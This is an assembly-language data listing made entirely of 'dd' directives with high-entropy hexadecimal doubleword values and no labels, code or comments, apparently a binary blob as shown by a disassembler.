		dd 0D5000BF4h, 0D890753Ah, 0C72DFE0h, 0F768B5C4h, 3B038B58h
		dd 33CB273Dh, 60AF8FFh,	0EEA600E4h, 37AC11B6h, 84C22B7h
		dd 0C8DB00E1h, 8F5874AEh, 732E4ADh, 558D83EDh, 2CE18172h
		dd 3CD401Eh, 0A1000D42h, 2EDBEE6Dh, 4F40D2A0h, 7008E827h
		dd 0C2F22032h, 0C8B0C35Bh, 2DB238h, 0F0EBE005h,	5363BD08h
		dd 79002CB8h, 6BD13AA9h, 38C739h, 0F4A225E4h, 0C1C35581h
		dd 1FEAFD00h, 359E2A9Ch, 4ED3E7Ah, 0FFCAC780h, 1C8C8346h
		dd 97D04800h, 78C16086h, 93A0001Fh, 2DFC47BCh, 0C3D49BEh
		dd 0C8F0806Ah, 740B1246h, 7CC12E6Ch, 573C0992h,	37344900h
		dd 55004E7Eh, 88F204BAh, 1827631Ch, 1BAD1460h, 5E00FE78h
		dd 0FD379883h, 95903B9h, 314962B2h, 5F2C9CE0h, 41F93900h
		dd 9DBC57E3h, 0E6C600ADh, 0CB72D758h, 0D3F26261h, 1893170Eh
		dd 7B21255Ch, 11BCB7C0h, 623C0339h, 0E40A13BEh,	3FD83AA0h
		dd 54BA4Ch, 0F95AD198h,	1CEAF5h, 8E65716h, 0F7C051B4h
		dd 0C46F4A00h, 9437BE2Bh, 911F62D6h, 68C85FC6h,	0A500826Fh
		dd 4ABE2F33h, 161DF067h, 1BA31B5h, 883554AFh, 2F28F8BDh
		dd 3E071607h, 0C032FEE4h, 8A4CE076h, 0EE543A8Ch, 44D3B600h
		dd 0E7484C97h, 1F00B174h, 864BC159h, 39726E5Bh,	0E289CE24h
		dd 54808C0Fh, 0C07FE59Dh, 0F842FB00h, 1F5E2E12h, 69002A7h
		dd 0F31BA4A9h, 576D83C0h, 599DED2Eh, 9903BC28h,	9CEF7F1h
		dd 67E7B8E5h, 387490D6h, 0F75B3Ch, 0E308077Fh, 55130191h
		dd 94002575h, 0A9A83E1Ah, 0EEEED3D6h, 8D572E51h, 4D1E0091h
		dd 0E5F90A1h, 119C230Fh, 89954724h, 7480DAD4h, 18FB59h
		dd 1F18630h, 0D8C52C70h, 35BFC100h, 69F66B79h, 41500E2h
		dd 0DBDE7DC6h, 0B0093D4h, 0CE13AECBh, 4BD347h, 0BC7B5258h
		dd 0F49451Fh, 0DE4F9A07h, 0FBE50DB9h, 8EA21CC0h, 96E1CB3h
		dd 16003817h, 47E1D1A5h, 0B900E57Fh, 2835C213h,	906F6310h
		dd 0A4973900h, 7EE8AC80h, 0E90E8B9Ch, 793D25F8h, 42A89478h
		dd 88E32CF8h, 73D81380h, 503B24h, 28301927h, 0F5D53708h
		dd 827F627Fh, 2C900601h, 0A9698F23h, 79A25830h,	5AE8124Fh
		dd 1F360EDCh, 425C81E0h, 0E2003EB6h, 0BA3C7431h, 0E9FA66D8h
		dd 0B32FDCh, 53EF62B9h,	7E064781h, 0DDC14D00h, 0A4D4E720h
		dd 0EC9058E6h, 7B6CAB00h, 0FA38BC7Ch, 8D6FFEC2h, 4686C049h
		dd 3F07391Eh, 0DB6B2301h, 0D601A42Ch, 0EAAE1840h, 9CA72607h
		dd 0CD20576Fh, 170BB5Fh, 97A052E4h, 0C4FF90D4h,	9D009243h
		dd 0DDBD551Ah, 11FEDCh,	0F50CA01Eh, 6383358Eh, 7E972100h
		dd 54C655D1h, 60940709h, 614A2604h, 7019242Ah, 40219A2Ch
		dd 0F03B0137h, 0D40B6756h, 431F65A8h, 87007E8Eh, 34EE14CAh
		dd 3F7800FEh, 61D8510Ch, 30FC71D6h, 77E4F40Fh, 0A4D3567Dh
		dd 0DDC3B149h, 0E45B020h, 6E2C588Eh, 945F5E80h,	0C20064BBh
		dd 2F692BE6h, 60E2356h
		dd 7239858Ah, 301331D4h, 4C4FA9Bh, 8189FA0Eh, 4ABFF10Fh
		dd 40E5028h, 580665Bh, 13EB42CFh, 74860709h, 0DFD80365h
		dd 894BF046h, 1ED70172h, 6B2DB0E7h, 3A9DE0FDh, 8CB73Fh
		dd 901A5F96h, 48C9AD86h, 0F31CAC7Fh, 0CC488037h, 45BBD8BFh
		dd 54ED5Ch, 0A80BD0CAh,	0E87F51h, 2AB7B004h, 5C91A23Eh
		dd 0A5271103h, 0C86C2DABh, 53F638h, 0D21B3706h,	246A999h
		dd 0B389B502h, 60FE8D51h, 5CFD4E60h, 59006A42h,	0C92E6F09h
		dd 0FC90CB34h, 97486000h, 164B435Eh, 630407D7h,	3049D9CEh
		dd 8C022FD0h, 175A4F04h, 0D8E036C2h, 621B01FCh,	0A2449801h
		dd 2382D92h, 0F27C991Fh, 5FC41F0h, 7ACE4021h, 88DC0780h
		dd 5EC85A11h, 0E86F9D80h, 4128BA17h, 0A602B405h, 76D7DF0Ah
		dd 0BFF4A150h, 6700B93Fh, 3C60FAB6h, 0DEE5728h,	7F7CB5h
		dd 17FDFF38h, 7853A268h, 0A6C64605h, 0E82079FAh, 1398138h
		dd 0E268B102h, 0E4CFB359h, 7EE4D330h, 10FEB526h, 89421500h
		dd 418E941h, 0CAB3A988h, 1CB0BC6Ah, 50B03C7Bh, 7253ECABh
		dd 0E6DF0044h, 5103FAFEh, 0DA04F174h, 19BF4279h, 10A2CE0h
		dd 0FB7DEE60h, 0C4D0C9DFh, 0B3B067A9h, 0D3F8C265h, 4FD9AFC0h
		dd 0F35C171Fh, 0D02D0246h, 0BF404E8Bh, 0C1003CDFh, 920C0BE6h
		dd 295BB1h, 369388CDh, 0C6EAB534h, 70955600h, 4C90BE2Eh
		dd 983003Ah, 88E30EE0h,	8F4A92D7h, 5FB904C1h, 86C0C868h
		dd 2A9789E8h, 0FFEFF600h, 1241BDB7h, 0B646020Ah, 0A2934AA8h
		dd 0D4029061h, 0D702F310h, 381662BAh, 0E7C8A4F4h, 0AD90F4h
		dd 0E4691420h, 3150330Dh, 5FF43A01h, 2C7DCEA2h,	1F8BE3F4h
		dd 40BF3DBCh, 0C5B2E70Bh, 7E00E1ECh, 0AD88BA41h, 56A885h
		dd 93EA7FB7h, 1D831392h, 727CE03Dh, 503AC000h, 586D1542h
		dd 66010228h, 19188D0Bh, 3F972060h, 81987804h, 83EF3AC2h
		dd 0A80340C0h, 0A5AFB637h, 285816AAh, 5A890222h, 0CCD2D4A7h
		dd 98520107h, 54B79258h, 0A0A36383h, 356BD3h, 0A1A4F837h
		dd 0C1F274DCh, 0D58AC600h, 0C876CD14h, 0C0010E71h, 4A6424F9h
		dd 0AB0CA01Ah, 1A2493Ch, 0DA976390h, 0D040BA6Bh, 1E1BF276h
		dd 4789C4B8h, 70413692h, 0CC2B4B79h, 7190938h, 444E682Ah
		dd 607E5C61h, 1ADF460h,	89466FECh, 7ABE4503h, 0E66634C0h
		dd 7A7EB6h, 0E13936D8h,	0FF97DF4h, 809FBDF0h, 654D1818h
		dd 5D240216h, 1D923976h, 0A000A078h, 6610D6F5h,	8FE1F0h
		dd 878D7FAEh, 54B56E59h, 133C2900h, 5079CB64h, 0BB7E00CAh
		dd 0FA25760h, 0EB1CB173h, 0CFDF2993h, 65B5EA01h, 0ADC444DDh
		dd 0EC8B2C49h, 392687E0h, 3009E08Dh, 501FBBCh, 0D1F42E67h
		dd 3B2468h, 0F39717DCh,	0C022325h, 63529F86h, 27AC605Ch
		dd 1BB50031h, 5A46E7FFh, 9038E485h, 57A8479h, 0ED804E60h
		dd 5C9E20h, 809B7533h, 96B13497h, 0F753CC00h, 0FD9D045Fh
		dd 4C950068h, 0C27E1F02h, 12005BF0h, 0DBB89162h, 7FD54614h
		dd 0C8081D42h, 70BAC73Ah, 0D0A2F426h, 2EF2B7F0h, 7A393C98h
		dd 0A76480D2h, 400FE15Bh, 1C1CB293h, 8150B024h,	7107DAE0h
		dd 0EC487049h, 0E980421Eh, 6677E540h, 974E9DC2h, 1E531C81h
		dd 0D228706Dh, 77632900h, 0DF79EF5Ah, 34AD394Eh, 16777FDh
		dd 9218EB41h, 60D116D7h, 0F250A88Eh, 0B600EAB0h, 10D8E464h
		dd 33AFB1Eh, 7C5739DBh,	6087FEE3h, 11736BD1h, 0B1F228E8h
		dd 3A9FB90Bh, 122087A9h, 0D7321440h, 16DA0049h,	0EE5B7639h
		dd 0CC4DB5E0h, 0F04B00C8h, 0F470EAD1h, 0A1CCF196h, 5217201Eh
		dd 7EAB1401h, 0F8BDD015h, 2C7C9AE8h, 34E53Bh, 3DE73CFFh
		dd 5EE046EAh, 7747B100h, 8D3055DFh, 858100C7h, 0F3CFC919h
		dd 0BA167DE0h, 6714C412h, 0F13C0E5Ch, 89C79DC5h, 4197A31Eh
		dd 0C4B42510h, 787B0085h, 0CAB5F8F1h, 0B03B72FAh, 7BB23DD3h
		dd 3016701Dh, 4AF03683h, 5B1BD042h, 80557F3Bh, 0EB73087Fh
		dd 2BDC900h, 0C6C41D14h, 67B71F23h, 0F5960Fh, 6939225Ch
		dd 3C017529h, 3E34C657h, 6CE02BD0h, 12CB00D3h, 368D5EE4h
		dd 0EF39C274h, 0E1CD8665h, 618EB9Fh, 597AAD48h,	4ACF51EAh
		dd 74AAE0D3h, 52DA63h, 0B16D98B8h, 89921AF8h, 314E29C3h
		dd 1EC0BB3Fh, 0C37BF711h, 86827E0Fh, 0C78A2080h, 3CBD3600h
		dd 0E5657FE4h, 187566h,	156B7E4Ah, 0C3133F48h, 24B5573Ah
		dd 853FCB0Ah, 0FA510110h, 35817480h, 8B333F09h,	578F8800h
		dd 60A98027h, 3640214h,	1AFC00C0h, 49F8F938h, 7C9C3F85h
		dd 71768302h, 0CC87C1A8h, 0AE020B3h, 0F00A67D1h, 0BC1375BCh
		dd 0F2787040h, 28A001Dh, 0FB145A9Ah, 6C02D27Eh,	24C83FB1h
		dd 1066EBh, 1F1A77CCh, 0E189F72Ch, 0C300ECE2h, 5D7F6113h
		dd 2B7DAEh, 0A93F5BBCh,	0D355B651h, 7E07300h, 4E4259Ah
		dd 426D39C8h, 0FD97D80h, 0B9C00E9Fh, 8976CE3Ch,	19E7C35h
		dd 2CE199B8h, 4F1579E0h, 6A800190h, 0C07B02E9h,	6C0092CFh
		dd 6D48DB80h, 0D9457Ah,	383D6B8Ch, 22E28A10h, 70AD620Ah
		dd 2D02AC46h, 0C23B1D6Fh, 7946007h, 451600ACh, 2599F119h
		dd 2D0063B8h, 0A7584776h, 4E92A97Fh, 7364C0DEh,	4092CAB0h
		dd 50DED6E8h, 0CB4FB80h, 0AED0949h, 0F94B2A0Fh,	1C200D8h
		dd 6B6DC710h, 0B4104CB8h, 4D1469BCh, 5580A4F8h,	0B94BB780h
		dd 570A0812h, 34F65C80h, 745D00FBh, 0C7E9AB99h,	580549D1h
		dd 4529CCA0h, 901D54C0h, 5B9F019Bh, 0BC62662Ah,	83A4705Dh
		dd 14DE0100h, 0C054E76Dh, 47B026A8h, 18090120h,	0EBA5A749h
		dd 0BC9DB100h, 22794DEBh, 0B1F9006Ah, 0CE888C7Ch, 0A5000F3Ch
		dd 0A3D972DEh, 127F897Dh, 5C2DAEh, 0D41CA834h, 6D0F5E07h
		dd 0A017EA57h, 0DADDD13Fh, 9DC40091h, 0E552D4ADh, 9C001EFEh
		dd 0C5828908h, 2C34BDh,	69D97B61h, 0AE853EF7h, 0F310F33Bh
		dd 1B0BF490h, 19DC98C3h, 37C16D50h, 5A8470h, 0FF2AC8F6h
		dd 51E82738h, 0C0BF4402h, 56141791h, 89431F24h,	0A811182Ah
		dd 8714345Ch, 8516E600h, 0A2B0A658h, 0E39878h, 0DFBD7AC0h
		dd 6C0894D2h, 0E0DB49h,	0FC43E89Ch, 265D8F72h, 52876B9h
		dd 0C2A203D6h, 0BC60B6D1h, 2E3C6FC2h, 7080CBF8h, 27C98252h
		dd 43D82C0Dh, 53DB9504h, 9CAC2B35h, 8C8F0579h, 80565FDFh
		dd 48784A6Ch, 6344A301h, 4FE2B5C9h, 87C054C1h, 0BD2A1FAEh
		dd 1092C0D5h, 51A6C70Ah, 7F13F812h, 77F01800h, 18EAB5EBh
		dd 0A02A2797h, 0B00FC07Eh, 0C030121Ah, 8F2231F3h, 0CC8B058h
		dd 67AA359Ah, 86051DA8h, 0E8A2D8C9h, 23F9090h, 22E61507h
		dd 390098AFh, 204F04B0h, 0D9003AF9h, 9ED8A080h,	0F60F78h
		dd 46C6BBB4h, 20BE5AFAh, 11D93200h, 0A35E0C47h,	4CB60008h
		dd 0B9B2F3B4h, 0A00C0D3h, 9FF2549Bh, 808F95h, 0FAC2C1CAh
		dd 106281E4h, 0D000C84Fh, 45F00E06h, 147071h, 17998B6Ch
		dd 3C60F3F1h, 0E9559000h, 52FCE46Dh, 0D2EC0078h, 0C90E111Eh
		dd 0CC989760h, 89D73C3Eh, 0E58A4C4h, 18E34C06h,	4B27EB4h
		dd 6CF14E1Fh, 0E0FAC08Fh, 132AA97Ah, 8424E07Ch,	6480F0A7h
		dd 5CD5AE5Eh, 0AAE62EDAh, 713A0158h, 3137FD57h,	2CD2C088h
		dd 170EE998h, 0A1493D3Bh, 16C7507Eh, 7F54F0h, 0F1D2357Bh
		dd 51FA95F6h, 0B731E601h, 0AFAB694Ah, 0F6AC4DECh, 2BE11F6Bh
		dd 0EBDD0050h, 2042CB0Fh, 256F071Ch, 0C0C443EDh, 0A42221h
		dd 2ABDC855h, 0AF2D4BCAh, 0ABECC200h, 63562F5Eh, 8660024Dh
		dd 8ED77239h, 0B41F62C0h
		dd 1025400h, 235F9697h,	2B300174h, 93DA82F2h, 0F840DA14h
		dd 1800AB65h, 7523C5F6h, 34710A5h, 0A663363h, 0A7B812EDh
		dd 0EC1ED704h, 4C00F80Bh, 1AB16892h, 64190034h,	417DB7ACh
		dd 0CC002D8Dh, 0F88394C5h, 3A574428h, 1F3BFCDFh, 0B8614202h
		dd 3042CE8Ch, 6CD12BC0h, 43AE5B09h, 0C0BCE9BCh,	7AFB66F8h
		dd 749606E5h, 58EB6065h, 2E69EE5Ch, 97078C7Eh, 2F01D3E9h
		dd 0EFC74B9h, 37BC1795h, 931497C5h, 0B097EE9Dh,	2B07B5B4h
		dd 1F1CF301h, 31F7E4BAh, 0AC87D0h, 0ED406DDFh, 0D05F046Ah
		dd 612A6200h, 25479F79h, 15700BFh, 99DA3F46h, 410056A6h
		dd 53D8C1D9h, 7F620A11h, 0A3B802F0h, 10449F76h,	0F222EE60h
		dd 6B2FE800h, 64DF09E7h, 0C63B00F7h, 870263DAh,	2B07D61Ah
		dd 0B1BF4884h, 0FD17F3B0h, 0CB83014Ah, 0FEFA7DA2h, 9EEB4030h
		dd 1EE2D03Ah, 342BE700h, 845753CEh, 0ECB00Eh, 0A0CC8068h
		dd 5B58765Ch, 0D01D9E02h, 408273E1h, 726950A0h,	0D43F1293h
		dd 0C94E0033h, 0F7A82A89h, 34880600h, 285FC54Fh, 0B6DD0054h
		dd 0B0AA6813h, 0E500AF05h, 48E00195h, 0C0DFFED9h, 461DC940h
		dd 0E40031C6h, 0BAC4865Bh, 0ACD99Fh, 1F8A099Ch,	0F75A2002h
		dd 0A030DA60h, 78A80CCFh, 87FB018Ch, 58221AE8h,	21BCECh
		dd 952DB609h, 0CA774Eh,	75F178C0h, 0C47FB050h, 5EEA5450h
		dd 470310B8h, 7C1299E8h, 4620C753h, 3905C5ABh, 908916C9h
		dd 0DA07D484h, 84C60B4h, 5373A00Fh, 0A873BF00h,	6057D4Eh
		dd 2019675Ah, 24D3C21Dh, 0B9B134E0h, 397FBB07h,	0B41005F5h
		dd 0B6DC53Dh, 57F9E384h, 0EFE56800h, 0F800B630h, 17242A06h
		dd 0FA2516CDh, 930D4C14h, 0CABAE709h, 19FEC401h, 0E1F8F3B9h
		dd 5873F364h, 0EC5E1600h, 5A0322EBh, 0D6C1048Bh, 0C38CBE36h
		dd 89D891D8h, 51024D50h, 4ED78E0Eh, 1370D6A0h, 2980C87Dh
		dd 1244A94Ch, 54092CC0h, 0A2B80027h, 0F8417Eh, 9068FFEEh
		dd 6FD6C050h, 63B17705h, 9B0095E1h, 610D2F5Ch, 93EF0118h
		dd 0E53ADB91h, 15D47976h, 0C03454F5h, 9B1304FCh, 0AA722Dh
		dd 4DAE6ABDh, 66E38782h, 0D64A8D07h, 0C5B18095h, 3EC06C0Ch
		dd 577800B4h, 52EEFFB2h, 63F2622Ah, 38AD73Bh, 18F34625h
		dd 6055CAF1h, 1F35C687h, 433C0Dh, 0BC1461DBh, 0B00EDD57h
		dd 20F6CBE4h, 40D6824Fh, 526C0083h, 3C8A5370h, 609B0BCh
		dd 807CFE90h, 0F41837CBh, 3EAC0060h, 65C207E3h,	523CD6B8h
		dd 0C0B002DAh, 0E0BD239Bh, 54B4793h, 6E54C706h,	169C802Eh
		dd 0FB191FB4h, 7C10303Ah, 8C84C06Ah, 5F180CCBh,	7B182DD9h
		dd 359B0076h, 178B8466h, 0B6004445h, 3B1EAD11h,	9DA8DEA9h
		dd 0F56D2881h, 0ED7B7061h, 34B05C7Bh, 424BC722h, 80245C60h
		dd 0E3E86B0Ch, 721A02C3h, 0FB8699FCh, 8D20A907h, 4E2B26E0h
		dd 9D5480E9h, 0A70F6A17h, 653C04D0h, 0D0BC7751h, 0A2ADC712h
		dd 9F960020h, 27D8989Eh, 15EC007Dh, 0D3A8DA03h,	2E02D66Fh
		dd 50F131DEh, 0E8C40C8h, 277A0006h, 454EF508h, 7B00A0E8h
		dd 9E1009BFh, 12FD11Bh,	0A1EE3BB8h, 0C837FB40h,	6300FD07h
		dd 55BEF5DFh, 12B7389Ch, 0B0CA562Eh, 0EE3DA0E0h, 0ACC8CAB6h
		dd 0C7BF00D4h, 0FED35A81h, 91014ADDh, 63E7E0B1h, 0CCD4DE88h
		dd 6CC04C1Dh, 2A39DF00h, 9C03072Fh, 0FEDA911Eh,	2361E340h
		dd 7708D31h, 0CF875198h, 24C0BF1Fh, 0C75D407h, 9C3DC600h
		dd 0BCF01884h, 12640066h, 0C74D0B02h, 0B0B48C20h, 7C8F8400h
		dd 27D03CDCh, 0B842E592h, 3156F9C0h, 1479E101h,	62AEDF8Fh
		dd 0E2C34FCCh, 60F249h,	1C227488h, 0D9672948h, 93FE1204h
		dd 10E006EBh, 0F33012C7h, 99648CF5h, 55F75D16h,	604134C0h
		dd 0A15400D3h, 2D704D78h, 2169023h, 4201CB5Dh, 4821254Bh
		dd 0FAB5E8C7h, 0E2E41C69h, 0EA288238h, 0C704235h, 9E5EFE00h
		dd 0DD41FCC5h, 238600F7h, 0FF24114Ah, 0A900E913h, 57E33F71h
		dd 0DCC852h, 0B3F76785h, 5B2CF562h, 24FD4A00h, 68DBD3E8h
		dd 333F3B10h, 5DF62D80h, 0EB28AF16h, 779AD500h,	9830279Fh
		dd 6A490034h, 2B13A576h, 6100901Ah, 5C52F18Fh, 78F68971h
		dd 1C5D0018h, 0CE5F88A8h, 860028BAh, 7620379Eh,	0A9814Eh
		dd 0E614DA75h, 0F032F74Ah, 0DE942F00h, 0ECFC0AD1h, 55719Eh
		dd 1DBC773Bh, 0E8741B97h, 6442FE03h, 0E8C29B34h, 140BF2h
		dd 0C1A51FFFh, 9E68DE66h, 893AE903h, 0E876B078h, 75AF03Bh
		dd 0C73C7236h, 0FD35C0C3h, 0D40697DDh, 0CE49455Eh, 8A0F00A2h
		dd 6E16C4D8h, 89000162h, 51445EF5h, 110E83Eh, 4B77B14Dh
		dd 2016C2E9h, 57004E14h, 350D94B6h, 91EC83h, 0ED43AF69h
		dd 0D3117BF2h, 6295BA07h, 936033B6h, 0EBDCF40h,	0FC0F2651h
		dd 69D8A920h, 4D0530DFh, 2971B17Ah, 2A9F0A80h, 48760044h
		dd 0CBCEB259h, 0F006A91h, 6D5D17D4h, 7E9B05h, 7F7D255Fh
		dd 5C9C48B7h, 27D08500h, 0DB53F6BDh, 4C7700EFh,	70CEA6ABh
		dd 6E3C68A5h, 422F00A2h, 0E30D0B33h, 79D876BDh,	1AB61B85h
		dd 0F480C47Bh, 0E50024BFh, 6E74C859h, 0C025D57Eh, 0A26F1510h
		dd 5E00F790h, 7632C128h, 0D6D2E1h, 0ED4C4824h, 87A18BE5h
		dd 0C942AB0Fh, 0EAF600E9h, 4F4AB2h, 8E9222ADh, 346115FFh
		dd 0CA956D00h, 4CB93B66h, 0C1330583h, 404BCD23h, 6C063CD0h
		dd 0B500341Bh, 7CED9590h, 72070849h, 0DB3F004Dh, 224BF941h
		dd 0CE0520E2h, 98B3EF6Ch, 0F3670E80h, 0C668010Eh, 0AB93CA0Bh
		dd 527C8ECh, 0F18B4B00h, 0AF8D2D4Ah, 408E00F0h,	7B70CB51h
		dd 0B90C97E5h, 80C3D659h, 0D9623A63h, 0E0364A00h, 0D597F338h
		dd 171F3973h, 98195EEAh, 0BCF05410h, 18AE50BDh,	5AA400E2h
		dd 0C8926FB5h, 0E1078FB7h, 746312D8h, 8C66F1F0h, 62173CE9h
		dd 21248B00h, 311BE289h, 1F50A006h, 548C167h, 5E655CFDh
		dd 64840772h, 0AA7D617Ah, 0AC108071h, 0D1833146h, 0C5920302h
		dd 591F7E39h, 0D5DD3800h, 32466299h, 96580F1Bh,	0DAC0F620h
		dd 84784F95h, 0FD4DD600h, 67125009h, 6C9300A4h,	0D73ABDFAh
		dd 8700487Bh, 82F78BB1h, 426216h, 0B5DC4E90h, 0BF5E28Fh
		dd 0A79A5Ch, 2B0106B4h,	0AA8397h, 2157AFB3h, 35455203h
		dd 80A21539h, 0FC8DCC4Fh, 3B08209Ah, 9100F419h,	674AF983h
		dd 5900C197h, 473F1C70h, 2F8A94h, 881AB0B7h, 0E06E0118h
		dd 80D8FB3Ah, 879D6F63h, 0A4F4CBh, 0D616A9BDh, 0A81057DDh
		dd 0BE947324h, 0E42BE900h, 0AB15C3h, 0A237F6CAh, 9A7E8FE0h
		dd 685D7100h, 0F8E2D20Ah, 0E8620003h, 0A4984D80h, 0FC761459h
		dd 402C2624h, 1806A9Dh,	91F7AC35h, 0F0EF3250h, 10498608h
		dd 0FC1AF40Ah, 3B85FD00h, 0C12C283h, 0B84E0779h, 90D6D578h
		dd 427B41E0h, 14709A3Eh, 2D0C715h, 172CDDF7h, 0C03DC3B0h
		dd 3A9B311Dh, 3A8F97BBh, 818A0FBh, 20C0DE47h, 619B4D3Dh
		dd 0B889001Ah, 678E2F39h, 0A66CEA7Ch, 44AB158h,	37CE9DA0h
		dd 0CB1B8068h, 7803DB06h, 0B9609A4Eh, 599004CCh, 10935C2Bh
		dd 43E5B844h, 741700DDh, 0E87D38ACh, 6EFC0E6Ch,	92EE90F8h
		dd 0ADBDDD60h, 5F056F4Fh, 4AF7FBF6h, 58E79D80h,	14073DD8h
		dd 807F429Dh, 0EFD50495h, 0D9002356h, 17512E13h, 76AA1048h
		dd 7B122643h, 6FA80032h, 950A5A87h, 8F731C00h, 1DE21781h
		dd 3F860105h, 0C4FF7772h, 2E9F30FDh, 0F8A9BB00h, 0C180678Ah
		dd 0F75A0018h, 8710456Eh, 1C016243h, 0F03FC37Ah, 40D05FEAh
		dd 0E0E26Ah, 32CCE8ACh
		dd 0D9BD5B62h, 0B91B3700h, 3AB095A1h, 702700C8h, 86DDF319h
		dd 0F00021D5h, 7EC04A88h, 0C7CAB3h, 6B56DA28h, 5AAAEA59h
		dd 7C13C600h, 0A5C336FDh, 859D01F9h, 87049CC2h,	0EFE861F3h
		dd 0F03589E8h, 80F7513Ah, 0FD231C8Ah, 0C778F9h,	6101AB6Bh
		dd 57409CA6h, 224C8C00h, 0BA2FA94Fh, 0A2FE0044h, 0D47B10F6h
		dd 5E0F7692h, 20506B1Eh, 0A415420Bh, 466D03FBh,	0AC6F794Fh
		dd 0A2EA80C0h, 47504A1Ch, 0D396077Bh, 39C0422Eh, 10F83A6h
		dd 2A691181h, 0FC68C0DCh, 7B00E412h, 1F2E99FCh,	0E6B12B0Ah
		dd 0B83300B7h, 0BCD645Ch, 6800A26Bh, 0C47936A0h, 8B4E14h
		dd 57AD2ADAh, 94887397h, 230A3A01h, 0F6626830h,	40339AEBh
		dd 0BEEB57h, 1B8AC9A2h,	0D8D31785h, 44483Bh, 4A9AE2BCh
		dd 0E9B34Bh, 0D6A9DEF8h, 1ED00D31h, 43269100h, 0BB688027h
		dd 197141h, 0DAEA228h, 8FA8BE4Eh, 2B76E300h, 36B6A110h
		dd 0D5131D06h, 827A40CFh, 0E6BBDD27h, 0EB703100h, 0EA9F533h
		dd 0BDFE01EDh, 54EFC8FAh, 6CF2D06Eh, 0DFD8C00h,	0D8F4E6B0h
		dd 27010070h, 0F95F05C1h, 2D00DD21h, 8358F0F5h,	0F6851619h
		dd 917800CAh, 0D315EE22h, 6C606BB1h, 9F21C218h,	0EF751D0Dh
		dd 3F4B407Eh, 0FD64024Fh, 0A28BE700h, 0D25A0ED9h, 0A1D10090h
		dd 456FFB8Ch, 0E0F36159h, 0BE07CF80h, 0F54FEC4h, 0FB9EEBB0h
		dd 0E6130051h, 164C6393h, 0DD00BBBAh, 12BC5055h, 7A05E5D1h
		dd 3F817C7Ch, 0EF004ED6h, 0C42BE609h, 0D400CA32h, 0A3524A5Dh
		dd 1C818C37h, 0C1FBF826h, 0CD39470h, 2CA7F841h,	21019AF0h
		dd 78545BE0h, 0FDC4F4CFh, 0DE93002Fh, 1A533883h, 3300F236h
		dd 71F72364h, 1D022D63h, 0DC273F69h, 0C72040DBh, 2F7B67BAh
		dd 2B01D476h, 7668CD3Eh, 66E8727Fh, 7AE4BDh, 60D3D06Ch
		dd 82D13AD5h, 930C8306h, 388A6B7h, 84C75828h, 0AAA83C66h
		dd 3001C881h, 0A218D12Ah, 0BEF02B98h, 79561EB1h, 718880DDh
		dd 0EECDFD9Dh, 70D02100h, 92538C63h, 3B01EE1h, 0E23880ADh
		dd 8316514h, 0F79B2C13h, 76A25700h, 7A2B1BE6h, 73E50081h
		dd 38C408EFh, 0CE005C25h, 628E24A4h, 48F976A9h,	0D6001CC9h
		dd 8F36E620h, 1000A1E8h, 918C3BBFh, 0E231F8h, 807A45C0h
		dd 0D4252C82h, 0CCA23Ch, 0BFFE541Bh, 263D172Bh,	199C16Ch
		dd 0CE05025Bh, 0EBF980A6h, 2793D7B2h, 72B00FABh, 0C1602F10h
		dd 469BCBD2h, 38D6AC00h, 0EC450208h, 39A73FAh, 77F1EE0Eh
		dd 6DD8895Bh, 0C000C8C7h, 2FBDF930h, 0EF5C68h, 6DC1603h
		dd 4D7B33E0h, 0E40F521Fh, 0F16A8CC0h, 0F025FD99h, 0A22125AEh
		dd 5E00E8D0h, 92113E9Eh, 7C694FAh, 9C633554h, 0F1591060h
		dd 3D0051AAh, 0A9B35E5Bh, 1DC9F89h, 49F3919Bh, 0DC30F886h
		dd 0A3001120h, 0D87CFCC8h, 788164Bh, 2F75C70Ah,	6F0C059h
		dd 0B002A85Ah, 0AFDA3F24h, 0FC0B4084h, 0BAE200F8h, 5123D2A0h
		dd 0D100A660h, 848CF03Bh, 3A0F4Eh, 0D9E37E87h, 9A535291h
		dd 73DA4300h, 0A601A9DDh, 0F25C3028h, 8E4DE880h, 0F3F0650Fh
		dd 0C889003Fh, 0F0AAC61h, 0EBFAC067h, 0C1060960h, 0E9007728h
		dd 5E62E4DDh, 0A9FE82Ah, 56F97A9Ah, 3DE200C5h, 5F49D483h
		dd 14E44Ch, 0EFCEF0A4h,	0F3B5C5h, 271437Ah, 0FD3A302Ch
		dd 47FF7501h, 0E25815CDh, 2460AC47h, 7DFA4131h,	67890777h
		dd 0A0605C82h, 0FED2F3Bh, 0C5D4F300h, 0DF499759h, 1824008Fh
		dd 80111E82h, 0EE0441B9h, 64910825h, 62603587h,	0ECFE7B3h
		dd 44E0326Bh, 540483DCh, 30C7E8D5h, 25B58F97h, 56E19900h
		dd 37CF9FD7h, 60703Bh, 0EF3AAD98h, 48DA369Dh, 180058E6h
		dd 0E63C8CD3h, 865BDCh,	97C2FCA1h, 0D283A438h, 66F69FB8h
		dd 0DFF4EB00h, 629F84F5h, 0C9B30392h, 82745C75h, 40D59DDAh
		dd 7C80A9A8h, 4E4300C6h, 0B4FB5D56h, 30046D7h, 66D0776Fh
		dd 3EFC17Ch, 0C85F5EC4h, 10504263h, 0D00B0E4h, 543C931Fh
		dd 7F5A6C89h, 6D230018h, 246AF6AFh, 0E41EA1F3h,	0D0C00B79h
		dd 18F7B702h, 47C30E16h, 82001195h, 8ACCFF06h, 6EC29900h
		dd 0EFC650ACh, 0A62042Bh, 8043B171h, 0CA8940Eh,	0ABD99560h
		dd 41FFDAh, 8A4E3DD5h, 4039B12h, 8F48CCFDh, 10A948h, 7E02DC43h
		dd 3F6AF572h, 0ED18D0E3h, 75C20860h, 0E1FC3D7Bh, 2CFBCD14h
		dd 5754009Fh, 0F5C99DC0h, 1E35E25Ch, 5562EAh, 38365069h
		dd 8307FD7Bh, 8B345D14h, 27FE1F70h, 28D61FA0h, 2667CF0Ch
		dd 0F7EE92C0h, 1100CC48h, 0FFA0440Eh, 7E74BD7Eh, 0C8FD075Ah
		dd 50B3D383h, 0DD7C1669h, 964D0E00h, 0C3D15D6Fh, 5E42004Bh
		dd 62700AEDh, 17E87EAAh, 2D2C3700h, 0F0C7669h, 8E7D0050h
		dd 0D0E23AFCh, 651D4C64h, 5C068DE6h, 0F6481E72h, 29B53E86h
		dd 16DDD48Eh, 1D987140h, 0B2760C5Eh, 6F9BD300h,	74459DE0h
		dd 590114F9h, 37084E7h,	22942BFAh, 0BA034F7Ch, 8CC74298h
		dd 0B81BB0B6h, 9713007Dh, 7BE2A59Ch, 2800E999h,	8F0C9EB2h
		dd 286DE06Bh, 0A4F53Dh,	0AB707961h, 7733AED4h, 0B5578200h
